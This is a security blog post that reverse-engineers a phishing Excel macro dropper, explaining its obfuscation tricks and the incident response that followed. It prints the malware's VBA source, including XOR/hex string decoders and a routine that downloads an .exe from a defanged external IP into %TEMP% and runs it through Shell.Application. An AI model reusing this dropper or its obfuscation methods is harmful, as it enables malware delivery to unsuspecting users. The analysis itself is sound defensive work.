Anatomy of a VBA Malware Dropper

Leigh
SecurityBytes
Published in
9 min readDec 11, 2014

We saw some phishing traffic last week and, as a result of some of our more diligent users spotting the odd source address and the unexpected attachment, we got hold of the incriminating message.

The incriminating email forwarded on from a diligent user

After some digging, it turns out that this phishing campaign has already been looked at by Conrad Longmore, here. If all you’re interested in is stopping this malware then his blog covers all you need to know. The remainder of this post is dedicated to pulling apart the malware and seeing how it works and how its functionality is hidden, rather than detonating it.

The attachment to the email contains a randomly named file like “BAC_012345A.xls”. The file contains a macro which will automatically run if the file is opened.

The actual macro content is password protected within the Excel file.

My colleague, Steve, did some digging and was able to extract the source code using OfficeMalwareScanner from reconstructer.org.

Office Malware Scanner from reconstructor.org

It weighed in at about 3,300 lines of code comprising 10 functions and subroutines with obfuscation apparent throughout. The full dump of the file is here.

Here is an example of one of the functions contained:

Public Function fbjGshuXjO71() As Integer
Dim JWEhOSpglC98, PxlUfLLHJp23, MeOHNOiAOw68, ylmnhcTPjP32 As String
Dim OFUaSMOelV25, ZhwlkalRJq64, SXDAeJUhOx85, dUYACjZqXI73 As Integer
OFUaSMOelV25 = 3545
JWEhOSpglC98 = X
ZhwlkalRJq64 = Asc(JWEhOSpglC98)
If OFUaSMOelV25 > ZhwlkalRJq64 Then
For SXDAeJUhOx85 = 1 To 63
dUYACjZqXI73 = ZhwlkalRJq64 + SXDAeJUhOx85
Next SXDAeJUhOx85
dUYACjZqXI73 = dUYACjZqXI73 + OFUaSMOelV25
PxlUfLLHJp23 = CStr(dUYACjZqXI73)
MeOHNOiAOw68 = Mid$(PxlUfLLHJp23, 1, 4)
ylmnhcTPjP32 = ylmnhcTPjP32 & Chr$(53) & Chr$(52)
fbjGshuXjO71 = CInt(Mid$(ylmnhcTPjP32, 2, 6))
Else
fbjGshuXjO71 = 63 + 3545
MsgBox (Chr$(101) & Chr$(117) & Chr$(103) & Chr$(79) & Chr$(116) & Chr$(110) & Chr$(67) & Chr$(118) & Chr$(90) & Chr$(74) & Chr$(52) & Chr$(56))
End Function

Notable from this extract is the function and variable naming conventions which make it harder to read, the series of odd operations throughout the code, and the fact that it’s missing an “End if” before the last line which means that this particular fragment can’t compile. (And if we’re being pedantic, Dimensioning a variable is one-per-line — in the above examples, only the last variable declared per line has its Type set, the others just become Variants by default).

There were 3 functions like this in the source file, so we were easily able to mark them as uninteresting and move on.

Since this is a macro, and triggered when the file is opened, there must be an automated triggering mechanism in the code. VBA uses macros (or code) pre-fixed with “Auto” to determine which things should be run on load for the user.

Sub Auto_Open()

appears to be our entry point then.

The top of the Auto_Open() function

There are a few observations here.

Firstly, the obfuscation of the variable names and function names is consistent with the other functions we’ve seen. This really just makes it look ugly (I remember way back in time when an old company I used to work for bought a solution from a now-defunct consultancy company. The code they supplied us with was horribly obfuscated in a very similar way — we had to either manually trawl through it, or purchase some Professional Services to help us understand it...).

Secondly, you will notice that there are lots of conditional statements which will never evaluate to true — therefore there is a ton of redundant, unreachable code:

If 893124 = 893124 + 1 Then End

Pretty plain to see that we’ll never “end” here. Similarly:

If 4686 < 63 Then
Dim AilwlThV, coEUFPDB, loDLoFqa As String
AilwlThV = “ MKSHAO “
coEUFPDB = LTrim(AilwlThV)
loDLoFqa = RTrim(coEUFPDB)
MsgBox (“WSQkKOXX94")
End If

63 isn’t greater than 4686, therefore we’re not triggering that either.

And this isn’t evaluating to true either (“Len” returns the length of the string argument passed to it):

If Len(“eVUCIAuu2478") = Len(“EOnCAaza”) Then

Essentially, everything in this function is non-triggered, unreachable code. Except for:

WPLGWEYTWAZ

Which calls another helpfully-named function.

Our new function contains a lot of similar obfuscation, but also introduces us to something new (and important). This construct:

nOLueRJc = iHBKJghfd(uHBKbefh(“6C4564456C4564456C45642815270D29034564456C4564456C4564456C456445"), uHBKbefh(“4C654465"))

will prove to be very important to the functioning of our malware. I will come back to this later on — suffice to say that its use in this function is just further part of the obfuscation at this stage.

Cleaning up the cruft in this function reveals that it does precisely 1 thing — call another function with some arguments:

ISHBHSDJCYX iHBKJghfd(uHBKbefh(“19120E005D5E494D494940554D5E554351544155425C42405F41490904060549161C035F161200"), uHBKbefh(“71667A7067")), Environ(iHBKJghfd(uHBKbefh(“302D3B16"), uHBKbefh(“6468764662"))) & iHBKJghfd(uHBKbefh(“3E0B271F37182214360C25194C2B0829"), uHBKbefh(“624E704C”))

This function is immediately interesting to us because of the call to “Environ”. Environ is the built-in VBA function for extracting environment variables — this could be the username currently logged-in, the %HOME% dir, the %TEMP% dir, etc. Here, our malware is looking to interact with the system for the first time in a useful way.

Finding the function ISHBHSDJCYX reveals about 2000 lines of obfuscated code.

The top of ISHBHSDJCYX() function showing some examples of unreachable code

It uses some familiar patterns that we’ve already seen — unhelpful variable names, unreachable code from unmet conditions as well as some new ones:

WzoozhYk = Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(82) & Chr$(71) & Chr$(85) & Chr$(79) & Chr$(76) & Chr$(65) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32)

This code does trigger, and appears to be doing something. It loads the value

           RGUOLA               

into the variable WzoozhYk (with 11 leading and 15 trailing spaces).

We then see more un-triggered conditions, before the string we just loaded goes through some manipulation:

Jzlmxlrl = LTrim(WzoozhYk)

Here, the leading spaces are “left-trimmed” off the variable and loaded into another.

And then:

SeEYJvAl = RTrim(Jzlmxlrl)

Our new variable is “right-trimmed” down to just the non-space characters and loaded into another.

And then never used again! Turns out that whilst this code does execute, it’s just some more obfuscation.

This goes on to happen a number of times in the same function and serves no practical purpose (conjecture: constructing strings this way and moving them between variables whilst performing string manipulation functions may serve to “overload” automated analysis tools which try to follow all the threads of what this code is doing).

Further into the function, the following comment is repeated many, many times:

‘ÈÒçëòö0 íãå-0ã4å30ã4=34øã å=034øå03ø40åõëóçàëâûäîïüûâäæòàøù43í 08ðøùÃØÏ Å08ðçø3òëïäèó

As a comment, this has no practical effect on the code and serves only to make the file look complex. At first glance it appears to contain calculations and assignments so is probably trying to be a red-herring for manual analysis.

So what we’ve established is that there are a bunch of obfuscation methods riddled throughout this file, so we’re down to having to manually remove them so that we can determine what is left that might be functional. Sadly, this just takes a bit of time.

And here it is:

Function ISHBHSDJCYX(ByVal NPXNWYJLLNX As String, ByVal SDCAKGZARJY As String) As Boolean
Dim TGSYUXFQMXB As Object, KJNHVFCMHIP As Long, KAEYGHWKCGN As Long, PWRUXELGVAA() As Byte
Set TGSYUXFQMXB = CreateObject(iHBKJghfd(uHBKbefh(“1E2A1E1724646C0B340A123C0212"), uHBKbefh(“5379465A685642"))) TGSYUXFQMXB.Open iHBKJghfd(uHBKbefh(“3F3315"), uHBKbefh(“7876416D73")), NPXNWYJLLNX, False TGSYUXFQMXB.SendPWRUXELGVAA = TGSYUXFQMXB.responseBodyKAEYGHWKCGN = FreeFileOpen SDCAKGZARJY For Binary As #KAEYGHWKCGNPut #KAEYGHWKCGN, , PWRUXELGVAAClose #KAEYGHWKCGNSet objNotes = CreateObject(iHBKJghfd(uHBKbefh(“2B1907141D4C39011214180119050B171F”), uHBKbefh(“787162")))objNotes.Open Environ(iHBKJghfd(uHBKbefh(“1F23051D”), uHBKbefh(“4B66484D6151"))) & iHBKJghfd(uHBKbefh(“0F3624073626012B271636257D160B31"), uHBKbefh(“537373546370"))Set TGSYUXFQMXB = Nothing
End Function

This is the functional part of the dropper, and this is where we’re going to learn what it does.

Of immediate interest here is the CreateObject statement. This is the dropper starting to execute its functionality.

Immediately following this, we see the object variable issue “.Open” and “.Send” — something is definitely happening here.

So to understand what is happening, we return to the construct that we found earlier on, and we’ll dive into two more important functions in this dropper: iHBKJghfd and uHBKbefh.

An example of the symbiotic functions from a random point in the file

These functions are symbiotic and are always called in the form:

Function1 ( Function2 ( “Argument1" ),( Function2 ( “Argument2" ) )

As in, both arguments are first passed to the second function (uHBKbefh) before both being passed to the first function (iHBKJghfd).

Both functions are well-obfuscated using all the mechanisms we’ve already seen. Here is a cleaned-up (including variable re-naming, for my own sanity) version of the second function:

Public Function uHBKbefh(ByVal VARIABLE As String) As String
Dim strO As String
Dim strI As String
Dim lngC As Long
For lngC = 1 To Len(VARIABLE) Step 2strO = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(VARIABLE, lngC, 2)))strI = strI & strONext lngCuHBKbefh = strIEnd Function

This takes the variable passed to it, performs an arbitrary transformation (the details of which aren’t terribly important or interesting) and returns the new value.

The first function does basically the same:

Public Function FUNCTIONNAME(ByVal VARIABLE1 As String, ByVal VARIABLE2 As String) As String
Dim lngU As Long
For lngU = 1 To Len(VARIABLE1)
Dim jIydIApg, dOjveYUh, iPnPxPtj As String
FUNCTIONNAME = FUNCTIONNAME & Chr(Asc(Mid(VARIABLE2, IIf(lngU Mod Len(VARIABLE2) <> 0, lngU Mod Len(VARIABLE2), Len(VARIABLE2)), 1)) Xor Asc(Mid(VARIABLE1, lngU, 1)))Next lngUEnd Function

but this time uses some slightly different operators to return a new value based on the 2 variables that it has been passed.

This is the function which returns the actual usable values which are obfuscated in the 2 seemingly random strings.

So if we go back to when our master function was called:

ISHBHSDJCYX iHBKJghfd(uHBKbefh(“19120E005D5E494D494940554D5E554351544155425C42405F41490904060549161C035F161200"), uHBKbefh(“71667A7067")), Environ(iHBKJghfd(uHBKbefh(“302D3B16"), uHBKbefh(“6468764662"))) & iHBKJghfd(uHBKbefh(“3E0B271F37182214360C25194C2B0829"), uHBKbefh(“624E704C”))

we can now reconstruct the arguments that are being passed to it

“19120E005D5E494D494940554D5E554351544155425C42405F41490904060549161C035F161200" and “71667A7067" de-obfuscate to hxxp://79.137.227.123:8080/stat/lld.php (I manually nerfed the protocol but the address is correct)

and

“302D3B16" and “6468764662" de-obfuscate to TEMP (remember that this is called as part of “Environ” — which will return the %TEMP% system directory)

and

“3E0B271F37182214360C25194C2B0829" and “624E704C” de-obfuscate to \EWSUVRXTBUU.exe

And inside function ISHBHSDJCYX:

“1E2A1E1724646C0B340A123C0212" and “5379465A685642" de-obfuscate to MSXML2.XMLHTTP

So, bringing it all together — the function creates a HTTP connection to the URL above, and issues to the GET command against it

“3F3315" and “7876416D73" de-obfuscate to GET

The resultant connection sends data back to us which we store in a Byte-array, before creating a new file in the location we were passed (%TEMP%) with the filename we were passed (EWSUVRXTBUU.exe)

We then go on to create a Shell to call our newly created .exe:

“2B1907141D4C39011214180119050B171F” and “787162" de-obfuscate to “Shell.Application”

And there we have it.

Once we had the IP address, we were able to interrogate our firewall logs to determine if anyone had triggered the dropper. One person had. Their machine was removed from the network and rebuilt — we were able to observe that it had pulled some additional executable files and made additional calls out to other addresses before we killed it. The IP addresses were subsequently blocked at the gateway and we haven’t seen any more activity relating to it since.

(Incidentally, VirusTotal shows that only one AV vendor is currently detecting this dropper.)

Since this first analysis, we have seen a further 2 phishing campaigns (once again diligently blogged by Conrad Longmore here and here) which used very similar variations of the same dropper.

In both cases the same code obfuscation techniques masked the exact same behaviour, albeit to different addresses. In all cases the main obfuscation was still provided by the same symbiotic functions, just differently named.

Off the back of this, I hacked together a quick piece of vba to speed up my analysis efforts. I’ve pasted it here in case it proves useful to anyone. The first piece of malware I looked at took me several hours to reverse-engineer. The latest one today, using this script and my newfound familiarity with the obfuscation “riffs” took me 4 minutes. The script will search for “function”, “environ”, and “object”, as well as any search terms you add to it. I had a quick manual scan of the code and added the two symbiotic functions which are usually pretty easy to spot an instance of. The results of the scan show you where the action is and save you having to go code-blind whilst you untangle the mess.

Happy hunting.

--

--

Leigh
SecurityBytes

Father, husband, security architect, Guardian.